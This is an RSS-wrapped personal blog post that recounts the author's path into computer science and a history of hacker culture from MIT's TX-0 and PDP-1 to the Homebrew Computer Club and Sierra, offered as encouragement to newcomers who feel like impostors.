            <pubDate>Sun, 09 Jul 2017 14:47:11 GMT</pubDate>
            <atom:updated>2017-09-02T19:04:52.866Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*X5ZBUgRotfLn-M9cOVFLxg.jpeg" /></figure><p>When I thought of a hacker, I always thought of that wiz kid that knew all the answers and could answer every question; I thought of the person who saw JavaScript dance when they were five and spent the next 5 years banging keys until they got a Myspace and made sure their home page was the most vomit inducing around. They would show off robots in science fairs and fly off to MIT to eventually join SpaceX. When people said I was wrong, would instead conjure thoughts of the Sami virus or people like John Draper and his special whistles.</p><p>As I got older and started studying Computer Science, the concept of hackers would morph into that team from Michigan who won first prize for full body motion suit. These hackers somehow seemed even more fantastic, more talented, more abstract and even more distant than any before. How could I be like them, get to where they were. I wanted to be a wizard too. Why could I not be a hacker like them?<br> <br> Entering college, I had expected to study economics for the rest of my life. The laws of supply and demand made sense and I honestly believed I wanted to spend a life time studying how people made decisions. During my first couple weeks however, I chanced upon an Information Systems presentation and was intrigued. It was a discipline about information and how one should map and store information. Getting at least a minor in that subject seemed like a worthwhile pursuit while I was working toward the economics degree. In order to get that degree in Information Systems however, I had to first take a computer science class. Having to take a computer course made me nervous, but I felt confident enough to give it a shot. That first class I took was one in Matlab, a language that I have never touched since, and yet that class changed the course of my life.</p><p>There was one specific assignment I remember doing, where we were asked to figure out the path that rain would fall given a 2d array of different landscape heights. During that assignment I remember thinking how hard it was but I remember the moment I solved it I was exhilarated. I wished I could solve it again. I loved that it was hard and all I wanted to do was keep solving problems and having fun. I flew through that course in a state of bliss and I promised myself that as long as I could keep passing courses and keep going, I would. At the beginning of my junior year I however, I found a room tucked into the middle of the building next to the storage room and came face to face with modern hacker culture. <br> <br> In my college we had a hacker-space; It was a place where people interested in computers could come together to program and to learn. There was a whole culture of people who also loved computers and loved talking about them like I did. The people around me were brilliant and they liked to spend all their time teaching others and doing as much with computing as they could. Honestly if you were like me and fell into computer science from left field, the brilliance around you could feel off-putting. <br> <br> Hacker culture can breed a sense of inadequacy. You can feel like you’re a fake despite all the time and effort devoted to doing what you love. It’s a feeling that diminishes as your understanding increases but never truly disappears. You were meant to do the humanities and you are unneeded in the field you love.</p><p>If you’ll permit I me, I would like to tell you a story.</p><p>First I must describe a computing culture that Is not hacking because without it the depth of what a hacker is can not be understood. When computers were first being made, they were designed for the military, the scientists and the businessmen of America. These were all people that needed to do large tedious calculations. Their concerns were rocket trajectories, Avagadro’s Number, and pay-roll. Their goals were the advancement and betterment of both themselves and others and they succeeded.</p><p>Part of this story Involves amazing people like mathematics professor and eventual rear guard admiral Grace Hopper. She worked on the UNIVAC when Eckert-Mauchly Computer Corporation was first developing it and was one of the main compiler pioneers whose work directly lead to the language structure of COBOL. She worked during the mainframe era of computers and without mainframe computers, hacking culture would not exist.</p><p>So why then is Grace Hopper not considered a hacker? Any story of hackers always leaves out pioneers like Hopper without explaining why. She was an amazing woman, a mathematician from the Navy who was asked to assist with The UNIVAC I and spawned a successful computer market. She later was part of the Commission that helped define COBOL, whose existence paved the way for the very concept of computer languages. At this point however, she went back into Navy service. Her time programing allowed her to remain a highly influential computer advocate but her time guiding the field had come to an end.<br> <br> Grace Hopper did a service for the world but I don’t believe the computer ever seemed like a gift or a surprise to her. There was never a moment where she stumbled into a computer and had an epiphany moment because she had been the one to help build them. Over the decades, minds like John MaCarthy, Donald Knuth and Fred Brooks would continue to shape how people programed and wrote software. These people were never considered hackers however and were much more aligned to the IBMs and the NASAs of the world. These companies famously built organizations built on mainfames, defended by lawyers and buttressed by waves of engineers to support their machines. <br> <br> I want to be clear that these companies are not the enemies. NASA was a pioneering spirit that trained a group of engineers to one day take one giant leap for mankind. IBM made and sold the the flexowritter, a device who’s interactive potential allowed hackers to sit at the computer for hours debugging, rewriting and bumming their code. Simultaneously, batch processing was an expensive and timely endeavor that encouraged strict organization and protocols for computer interactions. Without such an organized culture touting procedure like dogma, hackers could not have rebelled; hackers could not have existed without them because hackers were the counter revolution.</p><p>If you go back in time to the one of the first generations of Hackers, you’ll find yourself on the 9th Floor of MIT’s tech square with a bunch of social recluses whose sole love was to program the TX-0 and PDP-1. Back in the days of tapes, the hackers from the Tech Model Railroad Club maintained a side drawer full of tapes, each containing a shared computer program. Every user of the TX-0 would use the tape programs and maintain them like they were their own. All the hackers wanted was to curate a collection of perfect programs for the machines they loved to play with. Tools to make tools. If there was a feature desired in one of the tape programs the hackers would go ahead and add the feature. Impromptu bumming competitions would occur randomly, each hacker attempting to write sub routines with less instructions then before. They would build and improve these programs together because they wanted to improve this computer world they’d fallen in love with. <br> <br> These Hackers did also have exclusionary habits however. Their language was one of winners and losers. If you were an exceptional programmer, then you were a winner because you could improve the the world of their shared PDP-1. Otherwise you would be a loser and once you were a loser, it was hard to become a winner.<br> <br> The MIT hacker culture was contained to that building in Cambridge however. Isolation and containment was never a feature Homebrew Computer club and in fact was it’s antithesis. One of the main goals of this club was to spread the love of computers to any hobbyist who would listen. They were dismissive of the MIT hackers in their ivory tower, programing software and placing their tapes in their personal drawer beside the PDP-1. The Homebrew hardware hackers wanted to take advantage of the micro-processors developed by places like Intel and Motorola and make their own personal computers. <br> <br> Steve Wozniak actually got his ideas and inspirations for The Apple and the Apple 2 from the members of the Homebrew Computer Club. He met some of the first apple employees there including Chris Espinosa and Randy Wigginton. Wigginton would often hitch rides from Wozniak to Homebrew Computer Club since the 14-year-old Wigginton was too young to drive. Around the same time Bill Gates would famously write an open letter to the Homebrew Hardware hackers about illegally copying His and Paul Allen’s Altair Basic software.</p><p>In the as the 1980’s began, Roberta Williams found the computer game called adventure and was so enthralled she convinced her husband Ken Williams to program her idea for a game that eventually was known as Mystery House. This game convinced the couple to start a computer game company called On-Line systems, which later came to be known as Sierra Entertainment. Sierra Entertainment became a haven for third generation hackers like John Harris, creator of Frogger. Harris would eventually get in trouble with Atari for his game Jawbreaker, A Pac-man clone whose legal issues would help define plagiarism and freedom of expression relating to computer software.</p><p>Why am I talking about any of this though? Why does it mater what all happened all those decades ago. Why am I telling you about the PDP-1 hackers, The hardware hackers of the Homebrew Computer club, or the legal scuffles of On-Line Systems?</p><p>I am painting you this picture because I need to tell your history. I must illustrate where you come from like I wish someone had done for me.</p><p>Your linage starts with Greenblatt, Gosper, and Nelson hacking The TX-0 and PDP-1 when The graduate students weren’t using the machines in the middle of the night. These late night sessions would generate programs like adventure, which later inspired Roberta Williams to write Mystery House. Your ancestors were the members of the The Homebrew Computer club, sending checks to the little known MITS Computer company with the hopes that the hardware hackers would have the chance to build their own Altair computer. Members like Robert Melon would build components like the Cromemco Dazzler for that Altair, so they could see programs like Gosper’s Life simulation on their homebrew computers. These hardware Influences spawned the Apple 2 computer, the very machine Roberta and Ken Williams used to build their Seria Entertainment Company.</p><p>A lot of these people were as brilliant as the Hoppers or McCarthy’s of the world but these people are your Sherpas because these are the people that fell in love with computers. They weren’t expecting what they got and when they found the computer they got lost in it. When Peter Sampson Entered MIT, he didn’t expect the nest of wires under the model railroad set and he certainly did not expect the TX-0 to be in a random closet on the 9th floor. Chis Espinoza did not expect to find an employer at Homebrew nor help develop the most famous personal computer of all time. When Ken showed Roberta Adventure, he did not expect to drop his work porting FORTRAN to the Apple 2 and together found one of the most famous game companies of tall time.</p><p>While fantastic developers and passionate people The hackers were also flawed human beings. Your ancestors were imperfect creatures and there are a lot of quirks to criticize. Greenblatt could be an elitist slob whose failure to shower inspired clever ways to get him under the chemical showers of tech square. Steve Dompier was given Bill Gate’s Altair Basic and proceeded to encourage copying the tape without paying gates for the work. John Harris did in fact copy Pac-man and was even encouraged by Ken Williams to do so until Ken thought better of it. None of these people acted maliciously however; All were simply striving after the hacker dream, creating computers whose magic could freely enrapture all who came in contact with it.<br> <br> Just as Python is a programming language generations removed from the underlying hardware, we are hackers generations removed from the work that still fascinates us today. These hackers lead to you, you with your love of the complex and fascinating world of computation. You share that wonder and cooperative spirit. You share that ever present joy of being part of a family so driven and brilliant that occasionally losing yourself in a computer seems like a privilege. If you’re like me, what you needed all along was to hear this story. You want your Bayeux tapestry; You wanted a truth that you can point to and say this is where the love of computers started and this is where I am in that story. <br> <br> The hacker story, more than anything else, is a story of falling sideways. You don’t expect computers, but when computers find you, it doesn’t mater where you were before. If you love programming like I do, then you and I are now part of this tapestry together. Let’s make tools for making tools. Let’s talk about Machine Learning and the Internet of Things, and exactly how to optimize mobile operating systems. Let’s submit PRs and ask the dumb questions on the message boards. Will you join me?<br> <br> Please friend, I’ll bum your tape if you bum mine.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7472c17c0fc3" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>